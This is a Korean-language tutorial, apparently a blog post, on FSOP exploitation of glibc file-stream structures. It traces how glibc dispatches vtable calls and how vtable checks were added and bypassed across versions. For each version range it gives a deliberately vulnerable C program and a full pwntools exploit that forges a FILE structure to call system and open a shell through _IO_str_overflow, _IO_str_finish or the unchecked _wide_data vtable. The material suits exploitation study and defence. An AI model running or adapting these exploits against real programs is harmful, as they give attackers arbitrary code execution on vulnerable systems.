FSOP
FSOP
- FSOP(File Stream Oriented Programming)은 C 표준 라이브러리의 파일 I/O 스트림 내부 구조를 악용하여 프로그램의 제어 흐름을 가로채는 익스플로잇 기법이다.
C언어의 파일 I/O 및 스트림 관리 - _IO_FILE
- C언어에서 FILE 객체는 파일 작업을 위한 추상화 계층 역할을 한다.
- 표준 스트림으로는
stdin
,stdout
,stderr
가 있다. - 이러한 스트림은 효율성을 위해 내부 버퍼를 관리한다.
- 표준 스트림으로는
_IO_FILE
구조체는 Glibc에서 열린 파일 스트림을 나타내는 핵심 데이터 구조이며, Glibc-2.35 기준 아래와 같은 형태를 가진다.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* Start of reserve area. */ char *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it's too small. */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
_flags
: 파일 스트림의 현재 상태를 나타내는 비트 플래그 집합_IO_read_base
,_IO_read_end
: 읽기 버퍼의 시작과 끝_IO_read_ptr
: 읽기 버퍼 내에서 다음으로 읽을 문자의 위치_IO_write_base
,_IO_write_end
: 쓰기 버퍼의 시작과 끝_IO_write_ptr
: 쓰기 버퍼 내에서 다음으로 읽을 문자의 위치_IO_buf_base
,_IO_buf_end
: 버퍼의 실제 물리적 메모리 시작과 끝_IO_save_base
,_IO_backup_base
,_IO_save_end
: 주로 fseek()와 같은 파일 위치 변경 작업 시 버퍼의 상태를 저장하고 복원하는 데 사용_chain
: 모든 활성_IO_FILE
구조체들을 연결하는 단일 연결 리스트(_IO_list_all
)의 다음 요소를 가리키는 포인터_fileno
: 이 구조체가 연관된 운영체제 파일 디스크립터 값
- 이
_IO_FILE
과vtable
이 합쳐진_IO_FILE_plus
구조체가 있다.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); }; struct _IO_FILE_plus { FILE file; const struct _IO_jump_t *vtable; };
vtable
: 가상 함수 테이블 역할을 하며,__overflow
,__underflow
,__xsputn
과 같은 다양한 파일 작업에 대한 함수 포인터들을 저장한다.
_IO_FILE vtable 호출 과정
puts
함수를 통해 vtable의 사용 과정을 살펴보자.puts
함수 (_IO_puts
) ->_IO_sputn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
int _IO_puts (const char *str) { int result = EOF; size_t len = strlen (str); _IO_acquire_lock (stdout); if ((_IO_vtable_offset (stdout) != 0 || _IO_fwide (stdout, -1) == -1) && _IO_sputn (stdout, str, len) == len && _IO_putc_unlocked ('\n', stdout) != EOF) result = MIN (INT_MAX, len + 1); _IO_release_lock (stdout); return result; }
_IO_sputn
->_IO_XSPUTN
(매크로)1
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
_IO_XSPUTN
->JUMP2
(매크로)1
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
JUMP2
-> vtable (매크로)1 2 3 4 5
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2) # define _IO_JUMPS_FUNC(THIS) \ (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \ + (THIS)->_vtable_offset))
- 여기서 vtable의 함수를 호출한다.
FSOP (GLibc < 2.24)
- Glibc 2.23 이하의 버전에서는
_IO_FILE_plus
구조체의 vtable을 검증하는 과정이 없으므로, 이를 직접 조작할 수 있다. 예제 코드
1 2 3 4 5 6 7 8 9
#include <stdio.h> #include <fcntl.h> #include <unistd.h> int main(void) { printf("stdout: %p\n", stdout); read(0, stdout, 0x300); puts("Hello World!"); }
- 익스플로잇 코드
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
from pwn import * context.arch = "amd64" p = process("./test") e = ELF("./test") libc = ELF("./libc-2.23.so") p.recvuntil(b"stdout: ") libc.address = int(p.recvline()[:-1], 16) - libc.symbols["_IO_2_1_stdout_"] payload = FileStructure() payload.flags = libc.address + 0xf03a4 # og payload._lock = libc.bss() payload.vtable = libc.symbols["_IO_2_1_stdout_"]-0x38 p.send(bytes(payload)) p.interactive()
결과
FSOP (2.24 <= GLibc <= 2.27)
Glibc 2.24 이상 버전부터는
_IO_JUMPS_FUNC
매크로에IO_validate_vtable
호출이 추가되었다. (vtable 검증)_IO_JUMPS_FUNC
->_IO_JUMPS_FILE_plus
(매크로)1
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
IO_validate_vtable
인라인 함수1 2 3 4 5 6 7 8 9 10 11 12 13 14
static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t) vtable; uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; }
- 전달된
vtable
주소가 지정된 섹션 내에 존재하도록 강제하고 있다. - GLibc 2.23 예제처럼 fake vtable을 사용하면서 위 조건을 우회하는 것은 매우 까다로우므로, 이후부터는 다른 방법을 사용한다.
- 전달된
방법 1 - 출력 함수가 호출되는 경우: _IO_str_overflow
이 방법은 Glibc-2.27 최신 버전에서는
_allocate_buffer
함수 포인터 호출이malloc
호출로 대체되어 사용할 수 없다._IO_str_overflow
함수는 특정 조건을 만족할 경우new_size
를 인자로 하고,_allocate_buffer
를 함수 포인터로 하여 호출한다.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100; if (new_size < old_blen) return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
printf
,puts
함수는 내부적으로_IO_file_xsputn
->_IO_default_xsputn
함수를 호출하며, 해당 함수에서 vtable의 overflow를 호출한다.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
_IO_size_t _IO_default_xsputn (_IO_FILE *f, const void *data, _IO_size_t n) { const char *s = (char *) data; _IO_size_t more = n; if (more <= 0) return 0; for (;;) { /* Space available. */ if (f->_IO_write_ptr < f->_IO_write_end) { _IO_size_t count = f->_IO_write_end - f->_IO_write_ptr; if (count > more) count = more; if (count > 20) { f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count); s += count; } else if (count) { char *p = f->_IO_write_ptr; _IO_ssize_t i; for (i = count; --i >= 0; ) *p++ = *s++; f->_IO_write_ptr = p; } more -= count; } if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF) break; more--; } return n - more; }
_IO_OVERFLOW
매크로에 도달하기 위한 조건은 다음과 같다._IO_write_ptr
이_IO_write_end
보다 커야 한다._IO_NO_WRITES
플래그가 설정되어 있지 않아야 한다._IO_TIED_PUT_GET
플래그가 설정되어 있지 않거나,_IO_CURRENTLY_PUTTING
플래그가 설정되어 있어야 한다.pos = _IO_write_ptr - _IO_write_base
계산 결과가_IO_blen (fp) + flush_only
보다 크거나 같아야 한다. 이때_IO_blen
매크로는 아래와 같으며,flush_only
는 기본적으로 0이다.1
#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
_IO_USER_BUF
플래그가 설정되어 있지 않아야 한다.
_allocate_buffer
는_IO_strfile
구조체의 일부이며,_IO_FILE
구조체의 바로 뒤에 붙어 있다.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
struct _IO_streambuf { struct _IO_FILE _f; const struct _IO_jump_t *vtable; }; struct _IO_str_fields { _IO_alloc_type _allocate_buffer; _IO_free_type _free_buffer; }; typedef struct _IO_strfile_ { struct _IO_streambuf _sbf; struct _IO_str_fields _s; } _IO_strfile;
- 위 조건을 모두 만족하고,
_allocate_buffer
가system
함수 주소이며,new_size
가 “/bin/sh”를 가리키도록 익스플로잇 코드를 작성해보면 아래와 같다.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
from pwn import * context.arch = "amd64" p = process("./test") e = ELF("./test") libc = ELF("./libc-2.27.so") p.recvuntil(b"stdout: ") libc.address = int(p.recvline()[:-1], 16) - libc.symbols["_IO_2_1_stdout_"] payload = FileStructure() payload._lock = libc.bss() # flags payload.flags = 0 # _IO_write_ptr > _IO_write_end payload._IO_write_ptr = (next(libc.search(b"/bin/sh\x00")) - 100) // 2 payload._IO_write_end = 0 # _IO_blen(fp) = ((fp)->_IO_buf_end - (fp)->_IO_buf_base) # pos = _IO_write_ptr - _IO_write_base >= (_IO_size_t) (_IO_blen (fp) + flush_only) # old_blen = _IO_blen(fp) # new_size = 2 * old_blen + 100 payload._IO_write_base = 0 payload._IO_buf_end = (next(libc.search(b"/bin/sh\x00")) - 100) // 2 payload._IO_buf_base = 0 # vtable payload.vtable = libc.symbols["_IO_file_jumps"] + 0xc0 # _allocate_buffer = system payload = bytes(payload) + p64(libc.symbols["system"]) p.send(payload) p.interactive()
결과
방법 2 - fclose가 호출되는 경우: _IO_str_finish
fclose
함수는 내부적으로_IO_str_finish
함수를 호출한다._IO_str_finish
함수는 특정 조건을 만족할 경우_IO_buf_base
를 인자로 하고,_free_buffer
를 함수 포인터로 하여 호출한다.1 2 3 4 5 6 7 8
void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); }
- 예제 코드
1 2 3 4 5 6 7 8 9 10 11
#include <stdio.h> #include <fcntl.h> #include <unistd.h> int main(void) { printf("stdout: %p\n", stdout); read(0, stdout, 0x300); fclose(stdout); }
- 위와 유사한 방법으로 익스플로잇 코드를 작성해보면 아래와 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
from pwn import * context.arch = "amd64" p = process("./test") e = ELF("./test") libc = ELF("./libc-2.27.so") p.recvuntil(b"stdout: ") libc.address = int(p.recvline()[:-1], 16) - libc.symbols["_IO_2_1_stdout_"] payload = FileStructure() payload._lock = libc.bss() # _IO_buf_base = "/bin/sh" payload._IO_buf_base = next(libc.search(b"/bin/sh")) payload.vtable = libc.symbols["_IO_file_jumps"] + 0xc0 # _free_buffer = system payload = bytes(payload) + p64(0) + p64(libc.symbols["system"]) p.send(payload) p.interactive()
결과
FSOP (GLibc > 2.27)
Glibc 2.27 최신버전 이상부터는
_allocate_buffer
나_free_buffer
와 같은 함수 포인터 호출이 삭제되었다._IO_FILE
, vtable이 붙은_IO_FILE_plus
외에_IO_FILE_complete
,_IO_FILE_complete_plus
라는 구조체들이 있다. 실제로는stdout
,stderr
,stdin
은_IO_FILE_complete_plus
구조체를 사용한다.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
struct _IO_FILE_complete { struct _IO_FILE _file; #endif __off64_t _offset; /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; }; struct _IO_FILE_complete_plus { struct _IO_FILE_complete file; const struct _IO_jump_t *vtable; };
_IO_FILE
아래는 모두 wchar(wide character) 스트림을 위한 필드들이다.
_wide_data
라는 필드가 있는데, 이는 wchar 전용으로 사용되는 구조체이다.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
struct _IO_wide_data { wchar_t *_IO_read_ptr; /* Current read pointer */ wchar_t *_IO_read_end; /* End of get area. */ wchar_t *_IO_read_base; /* Start of putback+get area. */ wchar_t *_IO_write_base; /* Start of put area. */ wchar_t *_IO_write_ptr; /* Current put pointer. */ wchar_t *_IO_write_end; /* End of put area. */ wchar_t *_IO_buf_base; /* Start of reserve area. */ wchar_t *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */ wchar_t *_IO_backup_base; /* Pointer to first valid character of backup area */ wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */ __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt; wchar_t _shortbuf[1]; const struct _IO_jump_t *_wide_vtable; };
_IO_FILE
구조체와 매우 유사하며, 특히 끝에 vtable이 포함되어 있다.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
const struct _IO_jump_t _IO_wfile_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_new_file_finish), JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow), JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow), JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail), JUMP_INIT(xsputn, _IO_wfile_xsputn), JUMP_INIT(xsgetn, _IO_file_xsgetn), JUMP_INIT(seekoff, _IO_wfile_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_new_file_setbuf), JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync), JUMP_INIT(doallocate, _IO_wfile_doallocate), JUMP_INIT(read, _IO_file_read), JUMP_INIT(write, _IO_new_file_write), JUMP_INIT(seek, _IO_file_seek), JUMP_INIT(close, _IO_file_close), JUMP_INIT(stat, _IO_file_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
_IO_wfile_jumps
vtable의_IO_wfile_overflow
는 내부적으로_IO_wdoallocbuf
를 호출하는데, 이를 계속해서 따라가보자._IO_wdoallocbuf
->_IO_WDOALLOCATE
1 2 3 4 5 6 7 8 9 10 11
void _IO_wdoallocbuf (FILE *fp) { if (fp->_wide_data->_IO_buf_base) return; if (!(fp->_flags & _IO_UNBUFFERED)) if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) return; _IO_wsetb (fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0); }
_IO_WDOALLOCATE
->WJUMP0
(매크로)1
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
WJUMP0
->_IO_WIDE_JUMPS_FUNC
(매크로)1
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
_IO_WIDE_JUMPS_FUNC
->_IO_WIDE_JUMPS
(매크로)1
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
_IO_WIDE_JUMPS
에서_IO_FILE
의_wide_data
의_wide_vtable
에서 참조하여 함수를 호출한다.1 2
#define _IO_WIDE_JUMPS(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
- 일반 바이트 스트림 vtable 함수 호출 과정과 다르게, 멀티바이트 스트림 vtable 함수 호출 과정에서는 vtable에 대한 검증이 없음을 알 수 있다.
- 따라서,
_wide_data
의_wide_vtable
을 조작하거나,_wide_data
필드 자체를 조작할 경우 원하는 함수를 호출할 수 있을 것이다. - 예제 코드
1 2 3 4 5 6 7 8 9 10 11
#include <stdio.h> #include <fcntl.h> #include <unistd.h> int main(void) { printf("stdout: %p\n", stdout); read(0, stdout, 0x300); puts("Hello World!"); }
조건은 앞에서 봤던
_IO_str_overflow
의 조건과 유사하다. 하지만, 여기서는_wide_vtable->__doallocate(fp)
를 호출하므로,_IO_FILE
구조체의 첫 부분이system
함수의 인자가 된다.- 조건을 모두 만족하는 익스플로잇 코드는 아래와 같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
from pwn import * context.arch = "amd64" p = process("./test") e = ELF("./test") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") p.recvuntil(b"stdout: ") libc.address = int(p.recvline()[:-1], 16) - libc.symbols["_IO_2_1_stdout_"] payload = FileStructure() payload._lock = libc.bss()+8 # flags = system function's first arg # flags & _IO_UNBUFFERED(0x2) = 0 # flags & _IO_NO_WRITES(0x8) = 0 # flags & _IO_CURRENTLY_PUTTING(0x800) = 0 payload.flags = u32(b" sh") # _IO_write_base = 0 payload._IO_write_base = 0 # _IO_buf_base = 0 payload._IO_buf_base = 0 # system payload._IO_read_ptr = libc.symbols["system"] # fake _wide_data->vtable payload._IO_read_end = libc.symbols["_IO_2_1_stdout_"]+0x8-0x68 # _wide_data payload._wide_data = libc.symbols["_IO_2_1_stdout_"]+0x10-0xe0 # _IO_FILE vtable payload.vtable = libc.symbols["_IO_wfile_jumps"]-0x20 payload = bytes(payload) p.send(payload) p.interactive()
_IO_FILE
의 첫 부분인 flags를system
함수의 인자인 “ sh”로 설정한다.- 보통 “/bin/sh”를 전달하는데, “/bin/sh”는 8바이트 16진수로 나타내면
0x0068732f6e69622f
이다. _IO_wfile_overflow
에서_IO_wdoallocbuf
->_IO_WDOALLOCATE
흐름으로 호출이 이루어지려면 flags가 다음 조건들을 만족해야 한다.flags & _IO_UNBUFFERED(0x2) = 0
flags & _IO_NO_WRITES(0x8) = 0
flags & _IO_CURRENTLY_PUTTING(0x800) = 0
- 만약 “/bin/sh”로 설정하게 되면
0x0068732f6e69622f & 0x2 = 0x2 != 0
이므로 조건을 만족하지 못한다. - 하지만 “ sh”(
0x68732020
)으로 설정하게 되면 위 세 가지 조건을 모두 만족하면서 셸을 실행할 수 있다.
- 보통 “/bin/sh”를 전달하는데, “/bin/sh”는 8바이트 16진수로 나타내면
_IO_read_ptr
에system
함수의 주소를 심어둔다. 이는 fake vtable의 일부이다._IO_read_end
에 fake vtable 주소를 심어둔다. vtable에서__doallocate
의 오프셋은0x68
이므로,system
함수의 주소가 담긴 곳으로부터0x68
만큼 떨어진 주소를 fake vtable 주소로 설정한다._wide_data
를 fake _wide_data 주소로 조작한다. _wide_data에서 vtable의 오프셋은0xe0
이므로, fake table 주소가 담긴 곳으로부터0xe0
만큼 떨어진 주소를 fake _wide_data 주소로 설정한다.puts
가_IO_new_file_xsputn
대신_IO_wfile_overflow
를 호출하도록 vtable을 조작한다.__xsputn
과__overflow
의 오프셋 차이는 0x20이므로_IO_wfile_jumps
에서0x20
만큼 떨어진 주소로 설정한다.
결과
이 기사는 저작권자의 CC BY 4.0 라이센스를 따릅니다.